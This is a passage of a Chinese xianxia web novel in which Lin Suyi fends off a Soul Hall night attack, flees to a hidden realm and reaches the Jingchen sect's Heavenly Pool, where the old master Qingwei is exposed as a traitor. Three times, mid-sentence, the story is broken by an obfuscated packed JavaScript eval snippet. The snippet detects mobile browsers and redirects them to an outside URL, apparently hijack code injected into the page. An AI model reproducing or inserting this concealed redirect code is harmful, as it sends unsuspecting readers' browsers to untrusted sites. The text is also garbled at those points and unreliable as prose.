“后辈若见此书,当知我净尘宗有一禁阵,名为‘净世光’,专克万魂噬心等邪阵。然布此阵需‘净尘圣水’三滴,宗门覆灭后,圣水失传。若他日圣水重现,望后辈以此阵守护苍生,不负我宗之名。” 净世光阵!净尘圣水! 林素衣想起源海珠的话——复活她的肉身需要净尘圣水。原来这圣水不仅是疗伤圣药,还能布阵克制邪魔! 她将书收入储物袋,准备离开。但就在这时,她感应到一股熟悉的气息靠近。 是刘执事。 那个周雨提到过的内应! 林素衣迅速藏到书架后,收敛所有气息。 刘执事走进了这一区域,脚步很轻,像是在找什么。他转了一圈,最终停在了林素衣刚才站的位置。 “奇怪……刚才明明感应到净尘宗的气息……”他喃喃自语,伸手摸了摸书架上的灰尘,“有人动过这里的书……” 他转头,目光扫过整个区域。 林素衣屏住呼吸,净尘灵珠全力运转,掩盖她的气息。 刘执事看了片刻,没发现异常,这才离开。 等他走远,林素衣才敢喘气。好险!若不是她及时收敛,差点就被发现了。 刘执事能感应到净尘宗的气息……难道他也是净尘传人?不,不对。如果是传人,不会为魂殿效力。那他是怎么感应到的? 一个可怕的猜想浮现:刘执事,或者他背后的人,接触过净尘宗的核心之物,所以对净尘气息特别敏感。 就像玄诚子一样。 林素衣心中警铃大作。如果连玄诚子都可能是内应,那这青玄门,还有谁可以信任? 她悄悄离开藏书阁,返回小楼。 夜已深,小楼灯火通明。云华还没回来,玄诚子在书房打坐。 林素衣回到自己房间,关上门,布下隔音结界,然后取出那本《净尘宗阵法总纲》。 她翻到净世光阵的部分,仔细研读。 阵法很复杂,需要七个人同时布阵,每人镇守一个阵眼,且这七人必须心意相通,灵力同源。阵眼位置需要按照北斗七星排列,阵成之时,会引动九天星光,化为净化一切邪祟的圣光。 理论上,只要找到净尘圣水,她就可以尝试布阵。 但净尘圣水在哪里? 她想起源海珠沉睡前的最后一句话:“圣水……在‘净尘天池’……但天池已随宗门覆灭而消失……” 线索又断了。 林素衣合上书,感到一阵疲惫。事情越来越复杂,敌人在暗,她在明,每走一步都如履薄冰。 窗外忽然传来一声轻微的闷响。 她走到窗边,只见小楼外的竹林里,一个黑影倒在地上,胸口插着一支箭。 是巡逻的弟子! 林素衣正要喊人,却见那弟子的身体迅速干瘪,化作一具干尸。紧接着,干尸的眼睛睁开,泛着幽绿的光,缓缓站了起来。 尸变! 与此同时,小楼四周的禁制突然剧烈晃动,数十道黑影从竹林深处涌出,将小楼团团围住。 魂殿,来了。 20. 夜袭 干尸缓缓站起,颈骨发出“咔咔”的脆响。它转过头,幽绿的眼睛直勾勾盯着小楼二层的窗户——正好是林素衣所在的位置。 尸变术!这是魂殿的招牌邪术之一,将刚死之人的尸体炼成傀儡,保留部分生前实力,且不知疼痛,不畏死亡。 “敌袭!”林素衣一声清喝,声音在小楼禁制的加持下传遍每个角落。 几乎同时,玄诚子的身影出现在庭院中。他面色凝重,袖袍一挥,一道青光扫向那具干尸。干尸被青光击中,胸口炸开一个大洞,但依旧踉跄着冲来——尸变傀儡没有要害,除非彻底摧毁。 “不止一个。”玄诚子沉声道。 竹林深处,更多的黑影涌出。有的是刚死不久的巡逻弟子尸变,有的是纯粹的骷髅傀儡,还有几个活着的黑衣人,气息阴冷,修为最低也是筑基初期。 为首的,正是三天前逃走的骨真人! 他站在竹林边缘,白骨杖拄地,咧嘴露出满口黄牙:“玄诚老儿,云华那丫头呢?让她出来送死!” “凭你也配?”玄诚子冷笑,但眼神警惕地扫视四周。骨真人敢这么明目张胆地杀回来,肯定有倚仗。 “配不配,试试就知道。”骨真人白骨杖一挥,“杀!一个不留!” 数十傀儡和黑衣人同时扑向小楼! 玄诚子正要出手,小楼内突然冲出三道剑光——是云华留下的三名执法弟子!他们一直在暗处守护,此刻同时现身,结成一个简单的三才剑阵,挡住第一波攻击。 剑气纵横,傀儡碎骨纷飞。但黑衣人中也有高手,一个筑基后期的魔修操控着三具铁甲尸,硬生生撞破剑阵,冲进庭院。 “素衣,待在楼里别出来!”玄诚子传音,同时身形一晃,已出现在庭院中央。 他不再保留,元婴期的威压全面爆发。周围空气骤然凝固,所有冲进庭院的傀儡和黑衣人动作一滞,仿佛陷入泥沼。 “元婴领域!”骨真人脸色微变,“老家伙,你还真舍得耗损本源!” 元婴领域是元婴期修士的标志性能力,以自身道韵影响周围天地法则,形成绝对掌控的区域。但维持领域消耗极大,非生死关头不会轻易使用。 玄诚子不言,只是抬手虚按。 “轰!” 庭院地面突然升起无数青藤,每一根都粗如手臂,布满倒刺。青藤如活物般缠绕向傀儡和黑衣人,倒刺刺入体内,疯狂吸收他们的灵力。 青木领域!玄诚子主修的是木属性功法! 傀儡没有灵力可吸,但青藤的缠绕力极强,将它们牢牢束缚。黑衣人们则惨叫着倒地,修为稍弱的几个瞬间被吸成干尸。 “好手段!”骨真人咬牙,白骨杖重重顿地,“但你以为我就这点准备?” 他咬破舌尖,喷出一口精血在杖顶的骷髅头上。骷髅头眼眶中燃起两簇幽绿火焰,火焰蔓延,将整个白骨杖包裹。 “万骨噬魂,起!” 庭院四周,突然升起四面白骨墙!每面墙上都刻满扭曲的符文,散发出浓郁的死亡气息。这些白骨墙显然早就埋设在此,此刻被激活,形成一个封闭的囚笼。 更可怕的是,白骨墙在吸收青木领域的灵力!玄诚子的脸色以肉眼可见的速度苍白起来。 “这白骨墙……专门克制木属性功法!”林素衣在楼上看得清楚。骨真人是有备而来,专门针对玄诚子的弱点! “师叔!”三名执法弟子想冲过去帮忙,但被几个筑基中期的黑衣人拦住,陷入苦战。 形势急转直下。 林素衣知道不能再等。她推开窗户,纵身跃下——不是冲向战场,而是落在小楼屋顶。 净尘灵珠在丹田内急速旋转,她双手结印,口中念诵净尘真经中的“清水咒”。 空气中的水汽迅速凝聚,化作漫天雨滴。雨滴不是普通的雨水,而是蕴含着净尘灵力的净化之水! “净!” 雨滴落下,触及白骨墙的瞬间,墙面上的符文开始剧烈波动。净尘灵力与死亡气息剧烈冲突,发出“滋滋”的腐蚀声。 “什么?!”骨真人猛地抬头,看向屋顶的林素衣,“这股力量……净尘真经!你是净尘传人!” 他眼中贪婪暴涨:“原来如此……原来如此!难怪云华那么护着你!抓住你,比炼化源海珠更有价值!” 白骨杖一指,三具铁甲尸放弃围攻执法弟子,直扑林素衣! 林素衣不慌不忙,继续催动清水咒。雨滴更密,在她周围形成一道水幕。铁甲尸撞进水幕,动作立刻迟缓下来——净尘灵力在净化它们体内的尸气! 但铁甲尸毕竟是筑基期炼制的傀儡,力量极强,硬生生撕开水幕,冲到林素衣面前三尺! 就在此时,一道月白剑光从天而降! 云华! 她不知何时赶回,长剑如龙,一剑斩断最前面那具铁甲尸的头颅。尸头落地,眼中幽绿火焰熄灭,身体轰然倒地。 “云华师叔!”林素衣惊喜。 “退后!”云华将她护在身后,看向骨真人,眼神冰冷如霜,“骨老魔,你找死。” “找死的是你!”骨真人狞笑,“你以为我会一个人来?” 他话音未落,竹林深处又走出两个人。 一个是穿着青玄门长老服饰的中年男子,面容儒雅,但眼中有诡异的红光闪烁——正是执法堂副堂主,徐长老! 另一个是个黑袍老妪,佝偻着背,手中拄着一根蛇头拐杖。她周身散发着令人作呕的腥臭气息,修为赫然也是元婴期! “蛇婆!”玄诚子脸色大变,“魂殿三大长老,来了两个!你们还真是看得起老夫!” “玄诚师兄说笑了。”徐长老微笑,声音温和,但说出的内容让人毛骨悚然,“今夜不仅要取你性命,还要带走净尘传人和源海珠。这等大事,自然要做得稳妥。” “徐昌!”云华长剑直指,“你身为执法堂副堂主,竟与魔道勾结,残害同门!你就不怕宗门清算?!” “清算?”徐长老哈哈一笑,“等万魂噬心大阵完成,整个青玄门都将化为炼魂场。届时,谁清算谁?” 他不再废话,抬手一掌拍向云华。掌风腥臭,带着剧毒! 云华挥剑抵挡,但徐长老是金丹中期,修为比她高一层。再加上蛇婆在一旁虎视眈眈,形势危急。 玄诚子想救援,但白骨墙越收越紧,他已经开始燃烧精血维持领域。 林素衣心急如焚。这样下去,他们都要死在这里! 她看向手中的净尘灵珠——唯一的希望,是唤醒源海珠!但源海珠在她体内沉睡,强行唤醒需要大量灵力,而且可能引发未知后果。 管不了那么多了! 林素衣盘坐在屋顶,双手按在丹田位置,开始运转净尘真经中最高深的“唤灵诀”。 “以我之魂,唤汝之名……源海之珠,听吾号令……” 每念一句,她的脸色就苍白一分。唤灵诀消耗的不是灵力,而是生命本源! “醒来!醒来!” 丹田内,净尘灵珠疯狂旋转,蓝光越来越盛。深处,沉睡的源海珠终于有了反应——它轻轻震动,散发出微弱的意识波动。 “素衣……你……”源海珠的声音虚弱但焦急,“不能强行唤醒我……你会……” “没时间了!”林素衣咬牙,“我需要你的力量!” 源海珠沉默一瞬,然后,一股浩瀚如海的力量从她丹田爆发! 蓝光冲天而起,穿透白骨墙,直冲云霄!整个小楼、整个庭院、整片竹林,都被染成一片湛蓝! “这是什么力量?!”骨真人惊恐后退。 蛇婆浑浊的眼睛猛地睁大:“源海珠……完全苏醒了!不可能!它明明已经……” 她话没说完,蓝光中,一个模糊的女子虚影缓缓浮现。 虚影看不清面容,但所有人都能感觉到她那浩瀚如海、威严如天的气息。她只是静静地站在那里,就让所有人灵魂颤栗。 “净尘宗……第三十二代掌门……清微……”蛇婆声音发颤,“你不是已经魂飞魄散了吗?!” 虚影没有回答,只是抬起手,轻轻一指点向白骨墙。 “咔……咔嚓……” 四面白骨墙同时出现裂痕,裂痕迅速蔓延,最终轰然倒塌! 玄诚子脱困,立刻喷出一口鲜血——维持领域对抗白骨墙,他受伤不轻。但他顾不得伤势,死死盯着虚影:“清微前辈……真的是你?” 虚影转向他,微微点头:“玄诚小友,多年未见。” 她竟然认识玄诚子! 林素衣心中剧震。难道玄诚子真的和净尘宗有关? 虚影又看向徐长老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980530|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和蛇婆,语气平淡:“魂殿的小辈,敢来我净尘故地撒野,是活腻了吗?” 徐长老和蛇婆对视一眼,都看到对方眼中的恐惧。清微真人是千年前就名震玄灵界的大能,虽然现在只是残魂虚影,但余威犹在。 “撤!”蛇婆当机立断,化作一道黑烟遁走。 徐长老也想逃,但清微虚影隔空一抓,他就被定在原地,动弹不得。 “饶命!前辈饶命!”徐长老惊恐求饶。 清微虚影没理他,看向骨真人。 骨真人早就想跑了,但被清微的气息锁定,连根手指都动不了。他眼中闪过疯狂,突然咬碎藏在牙齿里的毒丸! “想自尽?”清微虚影轻轻摇头,“在我面前,生死不由你。” 她再一点,骨真人身体僵住,连自爆都做不到。 做完这些,清微虚影的光芒开始黯淡。她看向林素衣,眼中闪过欣慰:“孩子……你做得很好……” “前辈……”林素衣想说什么,但虚影已经消散。 源海珠的力量如潮水般退去,重新陷入沉睡。林素衣感到一阵天旋地转,从屋顶跌落。 云华接住她,发现她气息微弱,生命本源损耗严重。 “素衣!”云华急道。 “我没事……”林素衣勉强睁眼,“先处理……徐长老……” 玄诚子已经制住徐长老,给他下了重重禁制。三名执法弟子也解决了剩下的黑衣人,正在打扫战场。 这一战,他们赢了。但赢得惨烈。 玄诚子受伤,林素衣本源受损,周雨还在昏迷。更重要的是,清微虚影的出现,暴露了太多秘密。 “这里不能待了。”玄诚子当机立断,“立刻转移!去我的‘青木洞天’。” 青木洞天是玄诚子的私人秘境,只有他自己知道入口。那里绝对安全。 云华点头,抱起林素衣,玄诚子提着徐长老,三名执法弟子扛起昏迷的周雨,一行人迅速离开小楼。 他们刚走不到一刻钟,数道强大的气息降临小楼。 为首的,是个穿着紫金道袍的中年男子,面容威严,气息深不可测——正是青玄门掌门,天玄真人! 他身后跟着几位长老,都是元婴期修为。 “来晚了。”天玄真人看着满目疮痍的庭院,眉头紧皱,“玄诚师弟的气息……还有一股陌生的强大气息……” 一位白发长老蹲下检查战场残留的灵力波动,脸色骤变:“掌门……这气息……是净尘宗的功法!” “什么?!”众长老哗然。 天玄真人沉默良久,缓缓道:“传令下去,玄诚子勾结魔道,袭击同门,现逐出宗门,全界通缉。” “那云华和林素衣……” “同罪。”天玄真人眼中闪过一丝复杂,“凡窝藏者,以同罪论处。” 命令传下,青玄门震动。 而此刻,青木洞天内,玄诚子听完云华用传讯符传来的消息,苦笑:“掌门这是要灭口啊……” 林素衣靠坐在石床上,脸色依旧苍白:“师叔,你和清微前辈……” “她是我师父。”玄诚子坦然道,“千年前,我是净尘宗外门弟子。宗门覆灭时,师父拼死将我送走,我改头换面拜入青玄门,就是为了有朝一日,能重建净尘宗。” 原来如此。 “那掌门他们……” “他们不知道我的真实身份,但肯定察觉到了什么。”玄诚子道,“这次清微师父的虚影出现,他们为了掩盖当年参与围攻净尘宗的事,一定会赶尽杀绝。” 洞天内陷入沉默。 许久,林素衣开口:“师叔,我们接下来怎么办?” 玄诚子看向她,眼中闪过决然:“既然他们不仁,就别怪我们不义。素衣,你想不想……夺回净尘宗的故地?” 林素衣怔住。 夺回净尘宗故地?那意味着,要与整个青玄门,乃至当年参与围攻的其他宗门为敌! 但看着玄诚子坚定的眼神,想着清微虚影消散前的嘱托,她缓缓点头: “想。” 窗外,秘境中的模拟日月交替,新的一天开始了。 而青玄山脉深处,某个被遗忘的角落,一道古老的门户,正缓缓开启。 门户上,刻着三个大字: 净尘天池。 21. 故地重游 青木洞天是一个直径约三里的球形秘境,悬浮在青玄山脉地底深处。这里没有日月,穹顶镶嵌着无数发光的晶石,模拟昼夜交替。地面长满各种珍稀灵植,中央有一汪碧潭,潭水散发浓郁的木属性灵气。 玄诚子说,这是清微真人当年游历时发现的一处天然秘境,后来传给了他。千年间,他不断加固完善,将这里建成了最后的避难所。 林素衣在洞天内休养了七天。 这七天里,她的生命本源在净尘灵珠和青木灵气的双重滋养下,恢复了大半。修为不仅稳固在炼气七层,还有所精进。更重要的是,她与源海珠的联系更深了——虽然它依旧沉睡,但林素衣能隐约感应到它的意识波动,像在做一个漫长的梦。 周雨也在第三天醒来了。云华解除了她体内的噬魂咒——不是强行拔除,而是用净尘灵力一点点净化。过程很痛苦,但周雨咬牙坚持下来了。解咒后,她魂魄的损伤还需要时间调养,但至少没有性命之忧。 第七天清晨,玄诚子将所有人都召集到碧潭边。 除了林素衣、云华、周雨,还有那三个执法弟子:赵明、孙武、陈青。他们都是云华的心腹,也是净尘宗旧人的后代,值得信任。 “情况大家都清楚了。”玄诚子开门见山,“掌门对外宣布我们是叛徒,全界通缉。青玄门回不去了,但我们的目标本来也不是回去。” 他看向林素衣:“素衣,你是净尘宗新的传承者,清微师父的虚影认可了你。现在,我以净尘宗第三十三代弟子的身份问你:你可愿随我,重访净尘故地?” 所有人都看向林素衣。 她沉默片刻,问:“故地……现在是什么样子?” “一片废墟。”玄诚子直言,“千年前那场大战,净尘宗山门被毁,三十六峰倒塌大半,护山大阵破碎,灵脉枯竭。但有些地方应该还保存着,比如……净尘天池。” 净尘天池!林素衣心中一动。清微虚影消散前,门户上的三个大字就是“净尘天池”。 “天池是净尘宗的圣地,也是护山大阵的核心阵眼。”玄诚子继续道,“当年大战时,师父启动了天池的最终防御,将整个圣地沉入地底,并用最后的灵力封印。千年过去,封印应该有所松动,但想进入依然不容易。” “我们去那里做什么?”周雨轻声问。 “三件事。”玄诚子竖起三根手指,“第一,寻找净尘圣水。圣水不仅能让素衣的肉身恢复,还能炼制克制万魂噬心大阵的‘净世光阵’。第二,取回净尘宗的传承典籍。那些典籍被师父封印在天池深处,是重建宗门的根基。第三……” 他顿了顿,眼中闪过寒光:“查明当年净尘宗覆灭的真相。” 云华皱眉:“师叔,您不是说……” “我说过,是各大宗门联手围攻。”玄诚子打断她,“但这只是表面。千年来我一直在调查,发现那场大战背后,还有更深的黑手。魂殿……只是其中之一。” 林素衣想起源海珠里残留的记忆碎片:废墟上空,那些模糊身影抽离道韵的场景。其中确实有几道气息阴冷诡异,和魂殿的魔功如出一辙。 “师叔怀疑,魂殿当年就是幕后推手?”她问。 “不止。”玄诚子摇头,“魂殿虽然势大,但千年前还没能力同时煽动那么多正道宗门。一定还有别的东西……某种让所有宗门都忌惮,甚至恐惧的东西,藏在净尘宗里。” 他看向林素衣:“而你体内的源海珠,可能就藏着线索。” 洞天内安静下来,只有碧潭水声潺潺。 良久,林素衣起身:“我去。” “我也去。”云华立刻道。 “还有我们。”三名执法弟子齐声。 周雨犹豫了一下:“我修为低微,可能拖后腿……” “不,你需要去。”玄诚子看着她,“你体内残留的噬魂咒虽然解了,但魂力受损严重。净尘天池的水有温养魂魄之效,对你有益。” 事情就这么定下了。玄诚子让他们各自准备,三日后出发。 这三天,林素衣除了修炼,还向玄诚子请教了许多净尘宗的历史。 原来净尘宗鼎盛时期,有弟子三万,元婴长老十八位,化神老祖两位,是玄灵界顶级宗门之一。宗门以水法立道,讲究“上善若水,厚德载物”,在修真界名声很好。 “但正因为名声太好,才招来祸患。”玄诚子叹息,“净尘宗掌握了三十六处灵泉,能产出‘净尘灵水’,长期饮用可净化灵根、提升资质。这对任何宗门都是致命的诱惑。” 匹夫无罪,怀璧其罪。 “当年最先发难的,是‘烈阳宗’。”玄诚子回忆,“他们修炼至阳功法,与我们的水法相克,一直有摩擦。但真正的大战爆发,是因为一则谣言。” “什么谣言?” “有人说,净尘宗找到了飞升之秘。”玄诚子苦笑,“传言说,三十六泉眼连通着上界,净尘灵水其实是‘仙灵之泉’的稀释品。只要掌握了所有泉眼,就能打开飞升通道。” 林素衣怔住。飞升之秘?这简直是所有修士梦寐以求的东西! “谣言从哪来的?” “不知道。”玄诚子摇头,“但传播得很快,短短三个月,整个玄灵界都知道了。然后……烈阳宗联合‘金戈门’、‘青木谷’等七个宗门,打着‘分享飞升之秘,造福修真界’的旗号,联手围攻。” “青玄门也参与了?” “嗯。”玄诚子眼中闪过一丝痛楚,“当时青玄门的掌门,也就是天玄真人的师父,带着三位元婴长老、十二位金丹弟子参战。那一战……净尘宗山门被破,弟子死伤殆尽。师父启动最终防御时,我已经重伤昏迷,醒来时就在这洞天里了。” 他顿了顿:“后来我潜入青玄门,改名换姓重新拜师,就是为了查清真相——到底是谁散布了谣言?谁在背后推动这一切?” 林素衣默然。千年恩怨,血海深仇,这担子太重了。 三日后,众人准备妥当。 玄诚子开启秘境出口——不是原路返回,而是直接传送到千里之外。这是一条单向传送阵,用了就不能回头。 光芒闪过,七人出现在一片荒山之中。 这里位于玄灵界西南边缘,人迹罕至,灵气稀薄。放眼望去,群山光秃,草木稀疏,连鸟兽都少见。 “这里就是……净尘宗故地?”周雨不敢相信。传说中的顶级宗门,竟是如此荒凉? “大战后,灵脉被抽,道韵被夺,自然变成这样。”玄诚子语气平静,但眼中藏着深深的悲凉,“走吧,天池在山脉深处。” 一行人御风而行。玄诚子在前带路,云华断后,三名执法弟子呈三角阵型保护中间的林素衣和周雨。 飞了两个时辰,前方出现一片断壁残垣。 残破的牌坊,倒塌的宫殿,碎裂的石碑……依稀能看出昔日的辉煌。一些石柱上还能辨认出“净尘”二字,但大多被风蚀得模糊不清。 玄诚子停在一处广场遗址上。广场中央有个巨大的坑洞,直径百丈,深不见底。 “这是……主峰的位置。”他轻声道,“当年被烈阳宗的‘九阳焚天阵’轰出来的。” 林素衣走到坑边向下看。坑底漆黑一片,只有阴风呼啸。她体内的净尘灵珠忽然剧烈震动,传来强烈的共鸣感——不是悲伤,而是一种……召唤。 “天池在哪?”她问。 “在那边。”玄诚子指向西北方向,“跟我来。” 穿过废墟,又走了半个时辰,他们来到一处峡谷前。峡谷两侧崖壁高耸,寸草不生,谷口弥漫着浓雾,看不清内部。 玄诚子取出一枚蓝色令牌——令牌正面刻着“净尘”二字,背面是一朵莲花。他将令牌抛向浓雾,令牌光芒大盛,浓雾向两侧分开,露出一条通道。 “这是师父当年给我的‘净尘令’,能开启外围禁制。”玄诚子解释,“但天池的核心封印,需要净尘传人才能打开。” 通道不长,约百丈。走出通道,眼前豁然开朗。 这是一片巨大的地下空间,穹顶高不见顶,镶嵌着无数夜明珠,将整个空间照得如同白昼。空间中央,是一个直径千丈的圆形湖泊——湖水碧蓝如翡翠,清澈见底,湖面氤氲着淡淡的灵气雾气。 净尘天池! 湖边立着十二根白玉柱,每根柱子都刻满符文。虽然经历了千年岁月,但柱子完好无损,符文依旧流转着微光。 “好美……”周雨喃喃道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980531|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但林素衣却皱起眉头。她体内的净尘灵珠在疯狂震动,源海珠也开始苏醒,传递来强烈的……警告? “不对劲。”她低声道,“天池的灵气……在流失。” 玄诚子脸色一变,仔细感应,果然发现天池的灵气正以缓慢但稳定的速度,向某个方向流去。 “有人在抽取天池灵气!”云华拔剑,“是谁?!” 就在这时,十二根白玉柱突然同时亮起刺目的白光! 白光在空中交织,形成一个巨大的光罩,将整个天池笼罩。光罩内,一个苍老的声音响起: “等了千年……终于有人来了。” 光芒散去,光罩中央,出现了一个人影。 那是个穿着灰色道袍的老者,须发皆白,面容枯槁,但双眼明亮如星辰。他盘坐在空中,周身散发着元婴后期的强大气息。 玄诚子看到老者,浑身剧震,脱口而出: “师父?!” 林素衣也愣住了。清微真人?她不是已经魂飞魄散了吗?那虚影明明说…… 老者缓缓睁眼,看向玄诚子,眼中闪过一丝复杂: “玄诚……我的好徒儿……你终于回来了。” 但他的目光,最终落在了林素衣身上。 更准确地说,是落在她丹田的位置。 “源海珠……净尘灵珠……”老者微笑,笑容却让林素衣心底发寒, “都齐了。很好……很好……” “师父,您还活着?”玄诚子声音发颤,“那当年……” “当年我确实启动了最终防御。”老者——或者说,自称清微真人的老者——缓缓道,“但我没死。我用‘分魂术’将一缕魂魄留在天池,等待今日。” 他飘到林素衣面前,伸手:“孩子,把源海珠给我。” 不是请求,是命令。 林素衣后退一步:“前辈,您要源海珠做什么?” “当然是完成千年前未竟之事。”老者眼中闪过狂热,“打开飞升通道,带领净尘宗重回巅峰!” “飞升通道……真的存在?” “当然存在!”老者大笑,“三十六泉眼,就是通道的钥匙!当年那些蠢货,以为抽走道韵就能阻止我,殊不知……真正的钥匙,是源海珠!” 他猛地看向玄诚子:“徒儿,你还记得为师教你的‘净尘归元大阵’吗?” 玄诚子脸色惨白:“记得……那是……抽取整个宗门灵气,献祭所有弟子生命……强行冲击化神的禁术……” “不错。”老者微笑,“但为师改良了它。不需要献祭弟子,只需要……源海珠,和这孩子的净尘灵体。” 他再次看向林素衣:“孩子,你身怀净尘灵珠,又得了源海珠认可,是最完美的‘阵眼’。只要你配合,我们就能打开飞升通道,成就无上仙道!届时,你将是净尘宗最大的功臣!” 林素衣心中冰冷。 她终于明白了。 千年前净尘宗覆灭的真正原因,不是什么谣言,不是什么贪婪。 是清微真人自己,为了打开飞升通道,不惜将整个宗门推向毁灭! 而千年后,他等的就是这一刻—— 等一个身怀净尘灵珠和源海珠的传承者,来完成他未尽的“大业”。 “如果我说不呢?”她冷冷道。 老者笑容收敛:“那就只好……用强了。” 十二根白玉柱光芒大盛,无数符文从柱上飞出,在空中组成一个巨大的阵法,将林素衣牢牢锁定。 玄诚子想冲过来,但被阵法之力弹开。 云华拔剑斩向老者,剑光却被轻易化解。 “没用的。”老者淡淡道,“在这里,我就是天。” 他伸手抓向林素衣。 就在指尖触及她眉心的瞬间—— 林素衣丹田内,源海珠突然爆发出前所未有的蓝光! 一个女子的虚影从蓝光中浮现,不是之前的清微,而是另一个更年轻、更威严的身影。 她挡在林素衣身前,冷冷看着老者: “清微,你果然还没死心。” 老者看到虚影,瞳孔骤缩: “素心……师妹?!” 22. 千年真相 素心师叔的虚影挡在林素衣身前,蓝光如海浪般荡漾开来,抵消了清微老者散发出的威压。 她看起来三十来岁,容貌清丽,眉目间带着与云华相似的清冷,但更显威严。此刻,她冷冷注视着自称清微的老者,眼中满是厌恶与失望。 “清微,千年过去,你依旧执迷不悟。” 老者——或者说,清微——脸色变幻不定,从震惊到怨毒,最终化作一声长叹:“素心……我的好师妹,当年若不是你阻止,飞升通道早已打开,净尘宗也不必覆灭。” “飞升通道?”素心冷笑,“那根本不是飞升通道,是‘魔渊裂隙’!你当年找到的所谓上古阵图,根本就是魔族设下的陷阱!” 什么?林素衣心中剧震。魔渊裂隙?那是连通魔界的空间裂缝,一旦打开,魔族大军将降临玄灵界! 玄诚子也震惊了:“师父,师叔说的是真的?” 清微沉默,片刻后才缓缓道:“是与不是,已经不重要了。千年前,为了阻止我,你联合几位长老发动叛乱,毁了阵眼,导致净尘宗内乱,才让外敌有机可乘。” “内乱是你挑起的!”素心怒道,“你暗中修炼魔功,抽取三十六泉眼的灵脉炼化,导致护山大阵衰弱!我若不阻止,整个净尘宗都会被你献祭给魔族!” 两人的对话,揭开了千年前的残酷真相。 原来清微在执掌净尘宗后,无意中得到一卷上古阵图,上面记载了“打开天路”的方法。他痴迷其中,不惜一切代价研究,最终发现所谓的“天路”其实是魔渊裂隙。但他非但没有收手,反而认为可以借助魔族之力飞升,于是暗中修炼魔功,准备献祭整个宗门打开裂隙。 素心发现后,联合几位长老发动叛乱,试图阻止。两派内斗,导致净尘宗实力大损,护山大阵出现破绽。就在此时,烈阳宗等七大宗门联手来袭——他们早就在暗中窥伺,等的就是这个机会。 “当年围攻净尘宗的,不只是七大宗门。”素心看向林素衣,“还有魂殿。清微早就和魂殿勾结,承诺打开裂隙后,让他们分一杯羹。” 清微没有否认:“魔族又如何?只要能长生,只要能飞升,与谁合作都一样。” “所以你活了下来。”玄诚子声音颤抖,“用分魂术将一缕魂魄留在这里,等机会卷土重来。” “不错。”清微坦承,“千年等待,我终于等到了最完美的阵眼——” 他看向林素衣:“净尘灵体,净尘灵珠,源海珠……三者合一,足以打开裂隙。孩子,跟我合作,待魔族大军降临,你就是头号功臣!” 林素衣摇头:“我不会帮你的。” “那就由不得你了。”清微面色一沉,双手结印。 十二根白玉柱光芒再盛,阵法之力如无形大手,抓向林素衣。这一次,素心的虚影也无法完全抵挡——她毕竟只是一缕残魂,且已存在千年,力量所剩无几。 “快走!”素心对玄诚子喊道,“带她离开天池!只要离开阵眼范围,他就无法强行抽取源海珠!” 玄诚子咬牙,冲向林素衣。但阵法之力太强,他冲到一半就被弹开,喷出一口鲜血。 云华和三名执法弟子想帮忙,却被从地面升起的白骨手抓住——清微不知何时,在天池周围布下了魔道陷阱! “师妹,你还是这么天真。”清微淡淡道,“我既然敢等千年,自然做好了万全准备。” 他飘到林素衣面前,枯瘦的手指按向她眉心:“放松,很快就结束了。” 林素衣想反抗,但身体被阵法之力牢牢锁定,连根手指都动不了。她只能眼睁睁看着清微的手指越来越近,体内的源海珠疯狂震动,似乎在呼唤什么…… 就在指尖触及眉心的刹那—— “轰!” 天池湖水突然炸开! 一道青色剑光从湖底冲出,斩向清微!剑光凌厉,带着斩破虚空的威势,所过之处,阵法符文纷纷破碎。 清微脸色大变,急退十丈,才勉强躲开剑光。他看向剑光来处,眼中满是不可置信:“不可能!你明明已经……” 湖面分开,一个人影缓缓升起。 那是个青衣女子,看起来二十七八岁,面容清秀,手持一柄青色长剑。她身上散发着元婴初期的气息,但那股剑意,却让清微都感到心悸。 最让人震惊的是她的容貌——和素心师叔,有七分相似! “你是……素心的女儿?”清微愕然。 青衣女子冷冷看着他:“清微师伯,千年不见,你还是这么卑鄙。” 她转向素心的虚影,眼中闪过一丝泪光:“母亲……” 素心虚影也激动起来:“青儿……你还活着?!” “当年母亲将我封印在湖底,用天池灵气温养千年,才保住了我的性命。”青儿——现在应该叫她素青——看向林素衣,“刚才源海珠的波动唤醒了我。清微师伯,你的计划到此为止了。” 清微脸色阴沉:“就算你活着又如何?区区元婴初期,能奈我何?” “我一个人确实不行。”素青举剑,“但如果加上她呢?” 她剑尖指向林素衣。 林素衣体内的源海珠突然不受控制地飞出,悬浮在她和素青之间。珠子蓝光大盛,化作一道光桥,连接两人。 “这是……”林素衣感到一股浩瀚的力量涌入体内。 “源海珠的真正用法,是与净尘血脉共鸣。”素青解释,“我是素心之女,身怀净尘血脉。你我联手,可激发源海珠全部威能!” 她伸出左手,林素衣下意识伸出右手。两手在空中相触,源海珠光芒暴涨,化作一轮蓝色太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 